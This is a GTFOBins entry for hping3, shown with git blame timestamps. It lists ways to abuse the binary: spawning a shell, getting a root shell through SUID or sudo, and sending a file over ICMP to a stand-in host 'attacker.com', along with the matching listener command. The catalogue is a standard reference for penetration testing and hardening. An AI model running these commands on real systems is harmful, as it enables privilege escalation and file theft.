GTFOBins.github.io/_gtfobins/hping3.md

26 lines
558 B
Markdown
Raw Normal View History

2020-12-30 08:47:47 +01:00
---
functions:
shell:
- code: |
hping3
2021-01-18 09:19:35 +01:00
/bin/sh
suid:
- code: |
./hping3
/bin/sh -p
2020-12-30 08:47:47 +01:00
sudo:
- code: |
sudo hping3
/bin/sh
2022-12-16 15:45:58 +01:00
- description: |
The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
2022-12-16 15:56:43 +01:00
2022-12-16 15:45:58 +01:00
```
sudo hping3 --icmp --listen xxx --dump
```
code: |
RHOST=attacker.com
LFILE=file_to_read
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
2020-12-30 08:47:47 +01:00
---